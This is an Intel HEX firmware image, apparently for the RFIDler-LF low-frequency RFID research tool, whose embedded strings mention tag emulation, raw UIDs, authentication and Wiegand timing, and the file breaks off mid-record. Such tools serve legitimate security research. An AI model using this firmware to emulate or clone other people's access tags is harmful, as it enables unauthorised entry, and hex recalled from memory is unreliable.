00020080502118000000b0427c004a0900ee\n:103f080025186900c01d03000800e00325106200a1\n:103f18000300422421104400c2260200f1ff801051\n:103f2800ff00642842100200ba4f410b01006324cd\n:103f380082ff0324231866001b00642812008050a7\n:103f4800211000009e00c424042082000610620094\n:103f58002b18040025106200b74f410b0100032401\n:103f68000300c014000000000900e0142018e370ea\n:103f78000800e0032110800000120900ff0042340d\n:103f88000800e003c0150200c14f410b21180000d2\n:103f9800f8ff6224041047008aff0624b34f410b40\n:043fa8002330c300ff\n:020000040000fa\n:020000041d05d8\n:103fac0000010102010202030102020302030304e5\n:103fbc0001020203020303040203030403040405c5\n:103fcc0001020203020303040203030403040405b5\n:103fdc000203030403040405030404050405050695\n:103fec000102020302030304020303040304040595\n:103ffc000203030403040405030404050405050675\n:10400c000203030403040405030404050405050664\n:10401c000304040504050506040505060506060744\n:10402c000102020302030304020303040304040554\n:10403c000203030403040405030404050405050634\n:10404c000203030403040405030404050405050624\n:10405c000304040504050506040505060506060704\n:10406c000203030403040405030404050405050604\n:10407c0003040405040505060405050605060607e4\n:10408c0003040405040505060405050605060607d4\n:10409c0004050506050606070506060706070708b4\n:020000040000fa\n:020000041d05d8\n:1040ac00c03a0500425d04002538eb00c032040024\n:1040bc000080013c2538e1000080013c2448a1002f\n:1040cc00404005004245080080fc0825ffff0b25f9\n:1040dc00fe00612d12002010000000000200c01034\n:1040ec00000000000100e7348000e7248000eb2c86\n:1040fc0021400b01025a070001006b312338eb0001\n:10410c0040380700423a0700c05d08002538eb0034\n:10411c002510e9000800e00300000000000000008a\n:10412c007f0401240700011500000000405807001f\n:10413c00255866010300601100000000f5ff001017\n:10414c00c0ff023cff000129040020140000000005\n:10415c00807f013cefff00102510210101000a2493\n:10416c00235048012000412d0300201400000000c2\n:10417c00e8ff00102510090020000c2423608a01a0\n:10418c00045887012530cb0006384701000008246d\n:10419c000080013cd1ff00102538e1000000000038\n:020000040000fa\n:020000041d05d8\n:1041ac002020202020202020202020202020547976\n:1041bc0070653a20257300000d0a20202020202055\n:1041cc00202020456d756c6174696e673a202573eb\n:1041dc00000000000d0a202020202020202020207c\n:1041ec0020526177205549443a2025730000000085\n:1041fc00696e76616c696421000000000d0a202054\n:10420c002020202020202020202020202055494420\n:10421c003a20257300000000257300000d0a0d0ada\n:10422c00000000000d0a202020202020202020202b\n:10423c0020202020446174613a0000000d0a2020e7\n:10424c00202020202020202020202020202020255d\n:10425c00643a20000d0a25643a20286661696c29ad\n:10426c000d0a00000d0a25643a2000002046616901\n:10427c006c656421000000002028417574682f4c87\n:10428c006f67696e290000000d0a0d0a25643a203b\n:10429c00000000000095000000000000000000007d\n:1042ac0001f9000000000000000000000887000079\n:1042bc00040000000000000009af00000000000036\n:1042cc00010000000a1b00000000000001000000bb\n:1042dc000cc3000001000000000000000daf000046\n:1042ec00020000000000000010ff000000000000b1\n:1042fc000000000011ff00000000000001000000a1\n:10430c0012ff0000000000000100000018ff000078\n:10431c00000000000100000019ff00000000000078\n:10432c000100000020ff0000000000000000000061\n:10433c0021ff0000000000000000000026df00004c\n:10434c0001000000000000003773000000000000b6\n:10435c00000000003a2500000400000000000000ee\n:10436c003b250000000000000000000029ff0000b9\n:10437c00040000000000000017ff00000000000017\n:10438c000000000001000000000000000a00000016\n:10439c00000000006400000000000000e8030000c2\n:1043ac00000000001027000000000000a0860100a3\n:1043bc000000000040420f000000000080969800b2\n:1043cc000000000000e1f5050000000000ca9a3b67\n:1043dc000000000000e40b540200000000e87648e6\n:1043ec00170000000010a5d4e800000000a0724ed9\n:1043fc001809000000407a10f35a00000080c6a48f\n:10440c007e8d03000000c16ff286230000008a5de0\n:10441c0078456301000064a7b3b6e00d0000e8899d\n:10442c000423c78a286e756c6c2900003031323336\n:10443c003435363738394142434445460000000094\n:10444c0030313233343536373839616263646566fe\n:10445c00000000000000003f0000803f00002041f1\n:0c446c00cdcccc3d5f708940000000000a\n:020000040000fa\n:020000041d05d8\n:10447800a8ffbd270400a1af0800a2af0c00a3af9e\n:104488001000a4af1400a5af1800a6af1c00a7af7a\n:104498002000a8af2400a9af2800aaaf2c00abaf1a\n:1044a8003000acaf3400adaf3800aeaf3c00afafba\n:1044b8004000b8af4400b9af4800bfaf1240000099\n:1044c8004c00a8af104000005000a8af059d1a3c52\n:1044d800405d5a2700000000006804400060054065\n:1044e80009f84003000000005000a88f11000001e7\n:1044f8004c00a88f130000010400a18f0800a28fb0\n:104508000c00a38f1000a48f1400a58f1800a68f8d\n:104518001c00a78f2000a88f2400a98f2800aa8f2d\n:104528002c00ab8f3000ac8f3400ad8f3800ae8fcd\n:104538003c00af8f4000b88f4400b98f4800bf8f50\n:0c4548005800bd27c00000001800004211\n:020000040000fa\n:020000041d05d8\n:10455400e8ffbd271400bfaf00a0023c3800428c26\n:104564000a0040142024047c0000023c0000422481\n:10457400250040100000023c0000000c0000000078\n:104584001400bf8f0800e0031800bd2701000324b6\n:104594001500431080bf053c80bf053c2068a5245e\n:1045a40080bf023c1868422480bf063c0868c624c9\n:1045b40080bf033c10686324008007340000c7ac4c\n:1045c40000040624000046ac0000628c0001423066\n:1045d400fdff4010000000000000a4ac1400bf8fd9\n:1045e4000800e0031800bd272060a52480bf023c1a\n:1045f4001860422480bf063c0860c62480bf033c88\n:104604006f51410b1060632400004224e3ff40100b\n:1046140080bf053c0000000c000000006251410b0b\n:044624001400bf8f30\n:020000040000fa\n:020000041d05d8\n:1046280001000000000000000a0000000000000077\n:104638006400000000000000e80300000000000023\n:104648001027000000000000a08601000000000004\n:1046580040420f0000000000809698000000000013\n:1046680000e1f5050000000000ca9a3b00000000c8\n:1046780000e40b540200000000e876481700000030\n:104688000010a5d4e800000000a0724e1809000030\n:1046980000407a10f35a00000080c6a47e8d030003\n:1046a8000000c16ff286230000008a5d784563012f\n:1046b800000064a7b3b6e00d0000e8890423c78aa8\n:1046c800286e756c6c29000030313233343536373a\n:1046d8003839414243444546000000003031323306\n:1046e8003435363738396162636465660000000026\n:020000040000fa\n:020000041d05d8\n:1046f800e8ffbd271400bfaf1000beaf21f0a00334\n:104708001800c4af1c00c5af2000c6af00a0023c13\n:10471800dc564224870042900a0003240f0043100d\n:1047280000000000120003240600431000000000ef\n:10473800080003240f00431000000000e551410b5e\n:10474800000000001c00c48f2000c58fa3e1400fab\n:1047580000000000e651410b000000001c00c48f5f\n:104768002000c58f0bd0400f00000000e651410b20\n:10477800000000001c00c48f2000c58f06ae400f4b\n:1047880000000000e651410b00000000211000006d\n:1047980021e8c0031400bf8f1000be8f1800bd278a\n:0847a8000800e003000000001e\n:020000040000fa\n:020000041d05d8\n:1047b000e0ffbd271c00bfaf1800b2af1400b1afbf\n:1047c0001000b0af80180400059d023ca86642248a\n:1047d000211062000000428c1c0091240000528cc9\n:1047e000212800004081040000800334040043ac11\n:1047f00021202002059d023cac4d42242858410f47\n:10480000218050008458410f212020020800048e8e\n:10481000bb58410f0c00058e1000048ebb58410f91\n:104820001400058e0000048ebb58410f0400058e55\n:104830000080023c80004224249042020500401285\n:104840001c00bf8f1800048ebb58410f1c00058e42\n:104850001c00bf8f1800b28f1400b18f1000b08ff2\n:084860000800e0032000bd2761\n:020000040000fa\n:020000041d05d8\n:104868001201000202000040501d98602000010261\n:104878000301000009024300020100c032090400dc\n:1048880000010202000005240010010424020205b0\n:10489800240600010524010001070582030800021f\n:1048a80009040100020a0000000705030240000095\n:1048b80007058302400000000403090426034100a1\n:1048c80070006500720074007500720065002000b9\n:1048d8004c0061006200730020004c00740064000a\n:1048e8002e000000160352004600490044006c00e8\n:1048f800650072002d004c00460000007c48059db4\n:10490800c048059dc448059dec48059d987200a0c7\n:020000040000fa\n:020000041d05d8\n:10491800c23d0400ff00e7300080013c24308100e4\n:10492800ffffe924fe00212d0d00201000000000eb\n:104938008003e724404a0400024b09002530c900df\n:10494800402f0400004d07002530c9002510050040\n:10495800251806000800e003000000000000000021\n:104968000000052421208400f6ff801000000000cc\n:104978000900e01400000000ffffe7242120840064\n:104988008000013c2b088100fbff20140000000080\n:10499800e7ff001000000000ff07072400ff013cac\n:1049a800010021342b088100e6ff201400000000dc\n:0c49b800e4ff0010f8ff063c00000000c7\n:020000040000fa\n:020000041d05d8\n:1049c400211080002600c0101000ca2c1f004015c2\n:1049d400ff00a530005205002528aa000054050058\n:1049e4002528aa0003008330050060100400072472\n:1049f4002338e3002330c700000085b82120870056\n:104a04000f00c3302338c3000800e01021306000d9\n:104a14002138e400000085ac040085ac080085acb6\n:104a240010008424fbff8714fcff85ac0300c33013\n:104a34002338c3000500e010213060002138e40071\n:104a440004008424feff8714fcff85ac0400c0101e\n:104a54002138c40001008424feff8714ffff85a0d1\n:084a64000800e003000000005f\n:020000040000fa\n:020000041d05d8\n:104a6c00e0ffbd271c00bfaf1800b0af059d103c88\n:104a7c00a13c1026211890000000639004006730c0\n:104a8c000a00e01021108000d0ff82242a28450063\n:104a9c001300a014ff004230ff0002241c00bf8f43\n:104aac001800b08f0800e0032000bd27010067301c\n:104abc000400e050030063300d00c014000000003f\n:104acc0003006330f5ff6050ff000224a9ff42246d\n:104adc002a284500f1ffa050ff000224ff004230bd\n:104aec001c00bf8f1800b08f0800e0032000bd270a\n:104afc00ef58410f1000a5af218050000000039229\n:104b0c00b352410b1000a58fe0ffbd271c00bfafb7\n:104b1c001800b0af059d103ca13c10262118900048\n:104b2c0000006390040067300a00e0102110800040\n:104b3c00d0ff82242a2845001300a014ff00423025\n:104b4c00ff0002241c00bf8f1800b08f0800e00388\n:104b5c002000bd27010067300400e05003006330e3\n:104b6c000d00c0140000000003006330f5ff60501e\n:104b7c00ff000224a9ff42242a284500f1ffa0507f\n:104b8c00ff000224ff0042301c00bf8f1800b08fc2\n:104b9c000800e0032000bd27ef58410f1000a5af1f\n:104bac002180500000000392dd52410b1000a58fb4\n:020000040000fa\n:020000041d05d8\n:104bbc00200003240900052400008280feff4350de\n:104bcc0001008424030045542d000324f152410bb1\n:104bdc000100842419004310212880002b00032499\n:104bec001a00431021480000059d083ca13c0825f3\n:104bfc002118020100006390040063300c00601067\n:104c0c002118000001008424d0ff4624000082807b\n:104c1c0040380300c0180300212802010000a590b1\n:104c2c002118e3000400a530f6ffa014211866003b\n:104c3c00231003000800e0030a106900010084241b\n:104c4c000100a280fd52410b0100092401008424c3\n:084c5c00fd52410b0100a28092\n:020000040000fa\n:020000041d05d8\n:104c64002530386c58000000253031366c6c580003\n:104c740025325800257300002538580025580000b7\n:104c84002530326c7800000025730d0a0000000006\n:104c940025642000256400000d0a00002b0000009c\n:104ca4002e0000000d0a4f4b0d0a0d0a00000000f3\n:104cb4002125730d0a0000000d0a25730d0a0d0a43\n:104cc400000000003f000000200000003c3f786d21\n:104cd4006c2076657273696f6e3d22312e3022200e\n:104ce400656e636f64696e673d225554462d3822a4\n:104cf4003f3e00003c25733e000000003c2f25731e\n:044d04003e0000006d\n:020000040000fa\n:020000041d05d8\n:104d0800e0fdbd271c02bfaf1802beaf21f0a00313\n:104d18002002c4af2402c5af2402c28f0000428023\n:104d28000c004014000000001000c22721204000a1\n:104d3800c62c410f000000000400401400000000d1\n:104d4800211000006553410b000000001000c2272d\n:104d58002402c2af00a0023cdc56422487004290e5\n:104d68002118400007000224070062140000000018\n:104d78002002c48f2402c58f4aab400f00000000f8\n:104d88006553410b000000002110000021e8c0031a\n:104d98001c02bf8f1802be8f2002bd270800e00347\n:044da8000000000007\n:020000040000fa\n:020000041d05d8\n:104dac0007000000000000000700000000000000e9\n:104dbc0007000000000000000700000000000000d9\n:104dcc0003000000000400000300000001000000cc\n:104ddc0002000000100000000300000000020000b0\n:104dec00060000004000000006000000000100006a\n:104dfc000600000080000000060000000002000019\n:104e0c00030000000080000005000000000100000d\n:104e1c00050000000400000003000000004000003a\n:104e2c00050000000020000005000000200000002c\n:104e3c00050000001000000005000000001000003c\n:020000040000fa\n:020000041d05d8\n:104e4c00e8ffbd271400bfaf1000b0af2180800079\n:104e5c000c008294010244300100032417008310db\n:104e6c0002024430020203240500831021100000ca\n:104e7c001400bf8f1000b08f0800e0031800bd278e\n:104e8c000800058efbffa0101400bf8f0400028edb\n:104e9c00f9ff40501000b08f0e000496e253410f02\n:104eac00213040000400038e040043100c000296d5\n:104ebc0030004234ffff42300c0002a60800038e83\n:104ecc004001427c040000ae000003ae231002003f\n:104edc001400bf8f1000b08f0800e0031800bd272e\n:020000040000fa\n:020000041d05d8\n:104eec00feff082440300400403805002548c70068\n:104efc001b0020110000000000ff013c01002134c8\n:104f0c002b08c1001a0020100000000000ff013c1b\n:104f1c00010021342b08e1001500201000000000d6\n:104f2c000200810442300600233006000200a10476\n:104f3c0042380700233807002a08c7000300201056\n:104f4c000000000007000010ffff02242a08e60002\n:104f5c0003002010000000000200001001000224d9\n:104f6c00000002240800e003000000000000000024\n:0c4f7c00fcff00102510080000000000e1\n:020000040000fa\n:020000041d05d8\n:104f88001800a010211000001200c0100300842c8b\n:104f98001200801000000000e0ffbd271c00bfaf1a\n:104fa8000000023c00004224100040101800b0af7e\n:104fb8002120a0002128c0000000000c1400a6af8a\n:104fc8001400a68f2110c0001c00bf8f1800b08fde\n:104fd8002000bd270800e003000000000800e003ef\n:104fe8002110c0000800e003000000002180c0007c\n:104ff8000000a480ffff10260100a5241000a5af23\n:105008005551410f1400a6af1000a58ff8ff0016e8\n:0c5018001400a68ff453410b2110c000bf\n:020000040000fa\n:020000041d05d8\n:105024000400c92805002011213886001700c01c7f\n:10503400000000000800e003211000002540850066\n:1050440003000831030000110000000010000010ec\n:10505400000088900000888c0000a98c040084243f\n:10506400050009110400a524fcffa524fcff8424e9\n:105074000700001000008890fcffc624f5ffc01c48\n:10508400000000000800e0032110000000008890e8\n:105094000000a99001008424030009110100a52443\n:1050a4000800e00323100901f8ff87140000000042\n:0850b4000800e00321100000d8\n:020000040000fa\n:020000041d05d8\n:1050bc00257300000d0a496e73657274206361726a\n:1050cc00640000000d0a4c6f6164696e67204d65c9\n:1050dc00646961000d0a44657465637465642053ea\n:1050ec004420436172642073697a65202873656378\n:1050fc00746f7273293a2025640000000d0a536501\n:10510c0063746f722073697a653a2025640000001d\n:10511c000d0a4469726563746f72793a0d0a0d0a4f\n:10512c00000000002a2e2a002573090025730d0aa1\n:10513c0000000000286469722900000025640d0a33\n:10514c000000000005000000080000000d0a746952\n:10515c00636b7320256c64000d0a312075733a2043\n:10516c0025640000257300000d0a00000d0a313083\n:10517c002075733a202564000d0a31303020757388\n:10518c003a202564000000000d0a313030302075c3\n:10519c00733a2025640000000d0a31302c30303079\n:1051ac002075733a202564000d0a3130302c3030d4\n:1051bc00302075733a202564000000000d0a312c54\n:1051cc003030302c3030302075733a20256400009c\n:020000040000fa\n:020000041d05d8\n:1051dc0000a0033cd07262800b0040140100042438\n:1051ec005158023c2df44234d07264a0954c053ccd\n:1051fc002e7fa5242118400000a0043cc87285ac69\n:10520c000800e003cc7283ac00a0043cc872828c12\n:10521c005158063c2df4c63402304670cc72878c43\n:10522c00954c053c2d7fa52419004500121000005b\n:10523c00101800000240e5702130060101004524e1\n:10524c002b10a2002118c3002118430000f0627c2f\n:0c525c00c87285ac0800e003cc7283ac83\n:020000040000fa\n:020000041d05d8\n:10526800c2350400ff00c630ffffc924fe00212d0f\n:105278000b0020100000000082ffc6247f80013c44\n:10528800ffff213424208100003f013c25208100bc\n:105298000000a6ac251004000800e0030000000090\n:1052a8000d00c0140000000021488400f8ff201100\n:1052b80000000000403a04002040e8702330c80095\n:1052c800043807010080013c24208100024a0700bd\n:1052d800e9ff001025208900c0ff043cecff001006\n:0852e800000006240000000094\n:020000040000fa\n:020000041d05d8\n:1052f000ff0000003f0000000f000000030000005e\n:10530000df000000370000000d0000000200000078\n:10531000bf0000002f0000000b0000000200000092\n:105320009f000000270000000900000001000000ad\n:105330007f0000001f0000000700000001000000c7\n:105340005f000000170000000500000000000000e2\n:105350003f0000000f0000000300000000000000fc\n:105360001f00000007000000010000000000000016\n:020000040000fa\n:020000041d05d8\n:10537000002a04000080013c2528a100c23d040051\n:10538000ff00e7309e0006242330c7000d00c01840\n:10539000000000002000c1280300201400000000cd\n:1053a0000500001000000224020081040628c50048\n:1053b00023280500251005000800e0030000000078\n:1053c00000000000807f013c010021342b08810097\n:1053d0000300201400000000f7ff00100080023cd2\n:1053e000ff7f023cf4ff0010ffff4234000000008a\n:020000040000fa\n:020000041d05d8\n:1053f000e8ffbd271400bfafc559410f00000000f2\n:1054000088bf023c0030438c0003637c0900605479\n:1054100081bf023c0010042488bf033c083064ac08\n:105420000030438c00086330fdff60140000000072\n:1054300081bf023c30f240ac99aa033c556663241c\n:1054400030f243ac6655033caa99633430f243ac66\n:105450000100032481bf023c18f643ac81bf023c2b\n:0c54600010f6428c1955410b00000000b2\n:020000040000fa\n:020000041d05d8\n:10546c00002a04000080013c2528a100c23d040054\n:10547c00ff00e7309e0006242330c7000d00c00457\n:10548c00000000002000c1280300201400000000d0\n:10549c000500001000000224020081040628c5004b\n:1054ac0023280500251005000800e003000000007b\n:1054bc0000000000807f013c010021342b0881009a\n:1054cc000300201400000000f7ff00100080023cd5\n:0c54dc00f5ff0010ffff0224000000009c\n:020000040000fa\n:020000041d05d8\n:1054e800000005242548050025380500253004005e\n:1054f8000c00c010000000000600c10400000000fd\n:105508000080093c2b5005002328050023300600a5\n:105518002330ca001e0407242040c8702338e8003e\n:1055280004300601c24205004055060025400a0124\n:105538004050060002530a0025482a01005507007a\n:1055480025482a0125100800251809000800e0034d\n:0855580000000000000000004b\n:020000040000fa\n:020000041d05d8\n:105560001000c010211080000000a480ffffc6249e\n:10557000010043240100a52407008014000044a07a\n:105580006c55410b21286600ffffa780ffffc62452\n:105590000600e010ffff67a00100a524faffc01479\n:1055a000010063240800e0030000000021286600d9\n:1055b0000600c0100000000001006324feff651417\n:1055c000ffff60a00800e003000000000800e00307\n:0455d00000000000d7\n:020000040000fa\n:020000041d05d8\n:1055d400ffff022417008210010003240c00a29490\n:1055e400010246301300c354ffff02240800a68cb6\n:1055f4001000c050ffff02240400a78c1000a38ced\n:105604000c00e350ffff02240000a38c0b00c31026\n:105614000100e7240400a7acffff672440004630e4\n:105624000000a7ac0300c014211080000800e003b0\n:10563400ffff64a00800e003000000008755410b51\n:0456440001006324da\n:020000040000fa\n:020000041d05d8\n:10564800e8ffbd271400bfaf1000beaf21f0a003d4\n:105658001800c4af1c00c5af2000c6af00a0023cb4\n:10566800dc5642248700429021184000080002249a\n:10567800050062100000000000000000211000007a\n:10568800a855410b000000001c00c48f2000c58fe6\n:105698005bae400f0000000021e8c0031400bf8f7c\n:1056a8001000be8f1800bd270800e00300000000ae\n:020000040000fa\n:020000041d05d8\n:1056b8001400c010ffffc824000083800000a780ea\n:1056c8000d006010211000000b006754ff006230cd\n:1056d8000100a6240b00021101008424000083802d\n:1056e8000a006010010042240000c780f8ff67101c\n:1056f8002128c000ff006230ff00e7300800e00307\n:10570800231047000800e003211000000100a780d3\n:1057180021100000ff00e7300800e00323104700d5\n:020000040000fa\n:020000041d05d8\n:10572800202020202057696567616e642070756ca1\n:1057380073652077696474683a2025640d0a00004f\n:1057480020755320202020202020202020202020c9\n:10575800202020202020206761703a2025640d0a2f\n:105768000000000020755320202020202020202029\n:105778002020202062697420706572696f643a2065\n:0857880025642075530d0a0091\n:020000040000fa\n:020000041d05d8\n:10579000d0ffbd272c00bfaf2800b0af3800a22734\n:1057a000218080003800a6af1000a42721304000df\n:1057b0003c00a7af2400a2afff7f02242000a2afcd\n:1057c0001400a0af1000b0af1800b0afc2000224a8\n:1057d00026fc400f1c00a2a71000a28f000040a0d2\n:1057e0001000a28f231050002c00bf8f2800b08f14\n:0857f0000800e0033000bd27b2\n:020000040000fa\n:020000041d05d8\n:1057f800d0ffbd272c00bfaf2800b0af3800a227cc\n:10580800218080003800a6af1000a4272130400076\n:105818003c00a7af2400a2afff7f02242000a2af64\n:105828001400a0af1000b0af1800b0afc20002243f\n:1058380036c7400f1c00a2a71000a28f000040a08e\n:105848001000a28f231050002c00bf8f2800b08fab\n:085858000800e0033000bd2749\n:020000040000fa\n:020000041d05d8\n:105860000000803f000020410000c84200007a4450\n:1058700000401c460050c347002474498096184bd2\n:1058800020bcbe4c286b6e4ef9021550ec78ad6012\n:10589000caf249710000803fcdcccc3d0ad7233cf1\n:1058a0006f12833a17b7d138acc52737bd37863565\n:1058b00095bfd63377cc2b325f708930ffe6db2e75\n:1058c00008e53c1e6042a20d257300000d0a5365d9\n:1058d000742054414720747970652066697273742e\n:1058e000210d0a000d0a00000d547279696e6720bf\n:1058f000504f5420256400000d48697420504f54c7\n:105900002025640d0a0000000d0a536574206d6f98\n:1059100064756c6174696f6e210d0a000d0a536520\n:0c592000742053594e43210d0a00000072\n:020000040000fa\n:020000041d05d8\n:10592c001f00833080180300059d023cf052422476\n:10593c00211062000000428c4000a33080bf063c66\n:10594c00305ec2ac030060144000032480bf023cf4\n:10595c00145e43ac00c0023ce01f422424208200b1\n:10596c000220023c00a042342428a20025208500fd\n:10597c0080bf023c005e44ac0800e0030000000065\n:020000040000fa\n:020000041d05d8\n:10598c00e0ffbd271c00bfaf1800b1af1400b0afd3\n:10599c0000a0113c059d103ca13c1026694f410f05\n:1059ac007c6f248e21180202000063808800633013\n:1059bc00faff6014ffff03240400431000a0033c13\n:1059cc007c6f658c7555410f212040001c00bf8fea\n:1059dc001800b18f1400b08f0800e0032000bd2721\n:1059ec00e0ffbd271c00bfaf1800b1af1400b0af73\n:1059fc0000a0113c059d103ca13c1026694f410fa5\n:105a0c00c472248e21180202000063808800633067\n:105a1c00faff6014ffff03240400431000a0033cb2\n:105a2c00c472658c7555410f212040001c00bf8f3e\n:105a3c001800b18f1400b08f0800e0032000bd27c0\n:020000040000fa\n:020000041d05d8\n:105a4c000080013c1200801024308100020081048f\n:105a5c0000000000232004009e00052420388770dd\n:105a6c002328a7000420e400800084248000882cd4\n:105a7c002128a800034204000100083123208800db\n:105a8c004020040042220400c04505002520880067\n:105a9c00251086000800e003000000000000000054\n:020000040000fa\n:020000041d05d8\n:105aac000200a32c13006014ffffa324d0ffbd271a\n:105abc002c00bfaf211080001000a4272128c000ab\n:105acc002130e0002000a3af1400a0af1000a2af63\n:105adc001800a2afc200022426fc400f1c00a2a793\n:105aec001000a38f000060a02c00bf8f0800e00303\n:0c5afc003000bd270800e003211000006e\n:020000040000fa\n:020000041d05d8\n:105b08000200a32c13006014ffffa324d0ffbd27bd\n:105b18002c00bfaf211080001000a4272128c0004e\n:105b28002130e0002000a3af1400a0af1000a2af06\n:105b38001800a2afc200022436c7400f1c00a2a75b\n:105b48001000a38f000060a02c00bf8f0800e003a6\n:0c5b58003000bd270800e0032110000011\n:020000040000fa\n:020000041d05d8\n:105b64000000043ce8ffbd270000842403008010eb\n:105b74001400bfaf09f8800000000000000084306a\n:105b84000000a530029d083c9082082509f8000118\n:105b9400000000000000023c00004224030040100a\n:105ba4000000000009f8400000000000f9ff0010a8\n:045bb40000000000ed\n:020000040000fa\n:020000041d05d8\n:105bb800006088bf0000000000000000406088bf4f\n:105bc800ffff0000609080bf806088bf0000000079\n:105bd80000000000c06088bf000000000000000056\n:105be800006188bf0000000000000000406188bf1d\n:105bf8000000000000000000806188bf0000000075\n:045c08000000000098\n:020000040000fa\n:020000041d05d8\n:105c0c00c8ffbd273400bfaf4000a6af4400a7af0c\n:105c1c004000a3272400a3af1000a4af1800a4af2a\n:105c2c007b4b410f2800a5af2400a68f1000a427a2\n:105c3c002800a58f1400a2af2000a2afc10002243f\n:105c4c001a04410f1c00a2a73400bf8f0800e00308\n:045c5c003800bd2728\n:020000040000fa\n:020000041d05d8\n:105c6000257300000d0a257320616e642068697435\n:105c7000203c52455455524e3e20746f20636f6e47\n:105c800074696e75652c206f7220616e79206f7457\n:105c9000686572206b657920746f2061626f727421\n:0c5ca0002e2e2e000d0a00002a0d0a0016\n:020000040000fa\n:020000041d05d8\n:105cac00e8ffbd271400bfaf060080042110800060\n:105cbc009356410f000000001400bf8f0800e00352\n:105ccc001800bd2742200400010042309356410fba\n:105cdc0025208200212040004f45410f2128400003\n:0c5cec001400bf8f0800e0031800bd2763\n:020000040000fa\n:020000041d05d8\n:105cf8000000023c00004224050040100000023c65\n:105d08000000422403004010059d023c3f00007043\n:105d1800059d023c185e422405004010000000006a\n:105d2800e8ffbd271400bfaf09f8400000000000dd\n:085d38004e57410b0000000072\n:020000040000fa\n:020000041d05d8\n:105d40000000023c00004224050040100000023c1c\n:105d50000000422403004010059d023c3f000070fb\n:105d6000059d023c185e4224050040100000000022\n:105d7000e8ffbd271400bfaf09f840000000000095\n:085d80006057410b0000000018\n:020000040000fa\n:020000041d05d8\n:105d88000000023c00004224070040100000023cd2\n:105d98000000422405004050059d023c3f00007071\n:105da8000800e00300000000059d023c185e422444\n:105db800030040100000000009f840000000000047\n:085dc8000800e00300000000e8\n:020000040000fa\n:020000041d05d8\n:105dd00000000000000014400000000000003940f6\n:105de00000000000008883400000000084d71741b5\n:105df0000080e03779c34142176e05b5b5b89344ca\n:105e0000f5f93fe9034f3849321d30f9487782529e\n:085e10003cbf737fdd4f1565f7\n:020000040000fa\n:020000041d05d8\n:105e180000606041c000000099aa033c81bf023cb9\n:105e28005566632430f240ac30f243ac6655033c0f\n:105e3800aa99633430f243ac81bf023c01000324c9\n:105e480018f643ac81bf023c10f6428c8857410bd0\n:045e58000000000046\n:020000040000fa\n:020000041d05d8\n:105e5c00000083800d00601021108000211880004c\n:105e6c000100632400006680feffc054010063241f\n:105e7c000100a524ffffa68001006324fcffc014d1\n:105e8c00ffff66a00800e003000000009f57410bd5\n:045e9c002118800049\n:020000040000fa\n:020000041d05d8\n:105ea00025325825345800002530336425303564b8\n:105eb00000000000253033640000000025303278f7\n:105ec00000000000253035640000000025303478e3\n:105ed000000000003144353535393535353536006b\n:105ee00031410000253258253458000025303364f4\n:105ef00025303564000000002530336400000000c8\n:105f000025303278000000002530356400000000a4\n:105f10002530347800000000303131443800000072\n:020000040000fa\n:020000041d05d8\n:105f2000801004000021040023208200059d023c13\n:105f300074834224212044000800838c0000828c5a\n:105f40000700062404186600040043ac0800838c94\n:105f500004286500080045ac0800e00300000000cc\n:020000040000fa\n:020000041d05d8\n:105f6000801004000021040023208200059d023cd3\n:105f700074834224212044000400838c0000828c1e\n:105f80000300062404186600040043ac0400838c5c\n:105f900004286500080045ac0800e003000000008c\n:020000040000fa\n:020000041d05d8\n:105fa000801004000021040023208200059d023c93\n:105fb000b85b4224212044000000838c0800828cbe\n:105fc000080065ac04004010000000000400838c51\n:105fd0002428a300080045ac0800e00300000000ee\n:020000040000fa\n:020000041d05d8\n:105fe000801004000021040023208200059d023c53\n:105ff000b85b4224212044000000838c0800828c7e\n:10600000040065ac04004010000000000400838c14\n:106010002428a300080045ac0800e00300000000ad\n:020000040000fa\n:020000041d05d8\n:106020000900c01021108000200002242310460027\n:10603000070040180620c400041045000618c500db\n:106040000800e003251044000800e0032118a00028\n:1060500023100200211800000800e003061045008c\n:106060000900c010211080002000032423186600be\n:10607000070060180428c500061864000410c40056\n:106080000800e003251865000800e0032118a000bf\n:1060900023180300211000000800e0030418640026\n:020000040000fa\n:020000041d05d8\n:1060a000801004000021040023208200049d023c93\n:1060b000587e4224212044000400828c0400a01455\n:1060c0000800838c040043ac0800e00300000000db\n:0c60d000080043ac0800e00300000000e2\n:020000040000fa\n:020000041d05d8\n:1060dc00e8ffbd271400bfaf00e0827c00e0a57c88\n:1060ec000340042481bf033c20f462ac81bf023c1a\n:1060fc0040f445ace34e410f000000001400bf8f8c\n:08610c000800e0031800bd27a4\n:020000040000fa\n:020000041d05d8\n:106114002110000021180000059d073cac3fe72436\n:106124002000062406286400ff00a5302128e5008d\n:106134000000a59008006324faff661421104500ae\n:086144000800e0030000000068\n:020000040000fa\n:020000041d05d8\n:10614c00e8ffbd271400bfaf006803408000023c8d\n:10615c0025106200006882400010032488bf023cb6\n:10616c00c359410f081043ac1400bf8f0800e00363\n:04617c001800bd2723\n:020000040000fa\n:020000041d05d8\n:10618000006803408000023c2510620000688240e5\n:10619000040080100010032488bf023c0800e003c4\n:1061a000041043ac88bf023c0800e003081043ac75\n:020000040000fa\n:020000041d05d8\n:1061b000801004000021040023208200059d023c81\n:1061c00074834224212044000000838c0800828cc8\n:1061d0000000638c061043000800e0030700423013\n:020000040000fa\n:020000041d05d8\n:1061e000801004000021040023208200059d023c51\n:1061f00074834224212044000000838c0400828c9c\n:106200000000638c061043000800e00303004230e6\n:020000040000fa\n:020000041d05d8\n:10621000801004000021040023208200049d023c21\n:10622000587e4224212044000000828c0800838c88\n:0c623000040043ac0800e0030000000084\n:020000040000fa\n:020000041d05d8\n:10623c00801004000021040023208200049d023cf5\n:10624c00587e4224212044000000828c0800838c5c\n:0c625c00080043ac0800e0030000000054\n:020000040000fa\n:020000041d05d8\n:10626800801004000021040023208200049d023cc9\n:10627800587e4224212044000000838c0800828c30\n:0c6288000000638c0800e003241062009a\n:020000040000fa\n:020000041d05d8\n:10629400801004000021040023208200049d023c9d\n:1062a400587e4224212044000400838c0800828c00\n:0c62b4000000638c0800e003241062006e\n:020000040000fa\n:020000041d05d8\n:1062c000e8ffbd271400bfaf00e0837c0440042436\n:1062d00081bf023c20f443ace34e410f00000000bc\n:0c62e0001400bf8f0800e0031800bd2769\n:020000040000fa\n:020000041d05d8\n:1062ec00801004000021040023208200059d023c44\n:1062fc00b85b4224212044000000828c080045ac8d\n:0c630c00240045ac0800e0030000000085\n:020000040000fa\n:020000041d05d8\n:10631800ca58410b202c057c06004010010084243b\n:1063280000008280fcff4514000000000800e00324\n:0c633800211080000800e003211000008c\n:020000040000fa\n:020000041d05d8\n:10634400e0ffbd271c0